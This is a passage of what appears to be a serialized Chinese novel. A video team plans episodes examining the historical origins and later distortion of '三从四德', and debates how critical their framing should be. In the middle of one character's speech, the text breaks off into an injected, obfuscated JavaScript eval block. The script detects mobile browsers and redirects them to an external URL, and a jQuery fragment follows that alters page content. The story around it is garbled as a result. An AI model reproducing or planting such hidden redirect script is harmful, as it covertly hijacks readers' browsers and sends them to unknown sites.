团队将新系列命名为“祛魅与返真”，首期选题直指“三从四德”。苏清晏指出，这八个字在现代几乎成为封建压迫女性的代名词，但其原始出处《仪礼·丧服》及后续阐释，语境和含义远比标签化理解复杂。
“首先，‘三从’（未嫁从父、既嫁从夫、夫死从子）主要出现在《仪礼·丧服》篇，规范的是女子在不同丧服礼仪中应遵循的服制等级，是宗法制度下区别亲疏、确定服丧轻重和期限的礼仪规则，并非日常行为准则。”苏清晏在团队讨论中梳理，“将其泛化为女性一生绝对的行为规范，是后世特别是宋明理学强化后的结果。”
程砚负责查证后世演变：“汉代郑玄注《礼记》时有所发挥，但尚未极端。到宋代，随着理学兴起，司马光《书仪》、朱熹《家礼》等著作，才将‘三从’与‘四德’紧密结合，并大力向日常伦理推广，强调其‘正位乎内’的秩序意义。这个过程本身，就是思想史的一部分。”
周默则从民间实践角度提供线索：“我查了一些地方志和明清笔记，实际生活中，尤其是平民家庭，因经济、劳作需要，‘从’的界限往往很模糊。寡妇主持家政、母亲权威大于成年儿子的情况比比皆是。律法上，母亲对子女也有教令权。‘从子’更多是礼仪和名义上的，尤其在子幼或母强的情况下。”他参考了明清社会文化生态的研究视角。
林晓晓挖掘“四德”（妇德、妇言、妇容、妇功）的原始定义：“最早见于《周礼·天官·九嫔》，是宫廷女官的职责要求，后来才下移到士庶之家。其最初解释，如‘妇德’指贞顺，‘妇言’指辞令得体，‘妇容’指仪态整洁，‘妇功’指纺织等女红。虽然也有束缚性，但并非后世简化理解的‘沉默是金、打扮妖娆是罪’。”
团队计划制作两期视频。第一期聚焦“三从”，核心论点是：揭示“三从”从特定礼仪规则到泛化日常伦理的历史过程，辨析其理论规定与实际生活的落差，引导观众看到礼法条文与鲜活历史之间的张力。
视频结构包括：
1.溯源：展示《仪礼·丧服》原文及语境，用动画演示不同情况下女子的丧服差异，直观说明“从”的礼仪属性。
2.流变：梳理汉唐至宋明，经学家和理学家对“三从”解释的演变，结合历史背景（如门阀衰落、科举普及、理学兴起）分析原因。
3.实践落差：引用历代法律案例（如母亲告子不孝）、笔记小说（如能干寡妇持家记载）、甚至戏曲故事（如《牡丹亭》中杜丽娘之父的权威与局限），展现现实生活的复杂性。
4.观点升华：指出将“三从”视为铁律并等同于“古代女性全部生存状态”，是一种后世建构的、简化的历史认知。了解其来源与流变，才能更深刻地理解古代社会的宗法结构、思想变迁以及女性在其中的真实境遇与能动空间。
第二期则聚焦“四德”，重点分析其内容在不同时代、不同阶层中的实际含义与践行方式，并对比其被污名化（如“妇言”变成不许说话）的过程。
策划过程中，团队内部对表述的分寸感进行了深入沟通。
程砚希望加入更强烈的批判性：“最后一定要点明，这套东西不管怎么辨析，其核心还是为维护男权宗法秩序服务的，这是它的历史局限性。我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292786|198534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们不能因为考据其复杂性，就弱化了批判。”
苏清晏则强调平衡：“批判需建立在准确理解之上。若观众看完，只记得‘原来三从四德有这么多门道，古代对女性也没那么坏’，则非我本意。应引导至：看，一套原本有具体语境、甚至部分有实用价值（如妇功）的规范，如何被抽离、泛化、僵化，成为压制性的意识形态工具。这个过程本身，就是权力运作的鲜活案例。”
周默赞同苏清晏：“就像一件衣服，最初可能为了御寒（实用），后来加了等级纹饰（礼制），再后来纹饰本身成了枷锁（异化）。我们要展示这个‘异化’过程，而不是仅仅说‘最初它也是件衣服’。”
林晓晓提出传播策略：“标题可以叫《‘三从四德’变形记：从礼仪规则到思想枷锁》或者《被简化的千年标签：重新打开‘三从四德’的历史黑箱》。内容要硬核，但包装要吸引人。”
他们也预想了可能遭遇的反击。“守拙斋主”很可能攻击他们“为封建礼教洗白”、“消解对封建压迫的批判”。团队准备在视频结尾和评论区，明确阐述立场：“本研究旨在历史地理解文化概念的生成与变异，揭示其复杂性。揭示复杂性不等于认同其价值，恰恰相反，只有认清其来龙去脉，才能进行更有效的批判与反思。我们反对任何以‘传统’之名行压迫之实的行为，无论古今。”
这一次，他们不再满足于纠正单一误读，而是试图解剖一个文化“概念”的生命史，并准备好迎接更猛烈的风暴。他们知道，触碰“三从四德”这样的核心议题，意味着“正名”之路进入了深水区，但这也是他们使命的必然方向。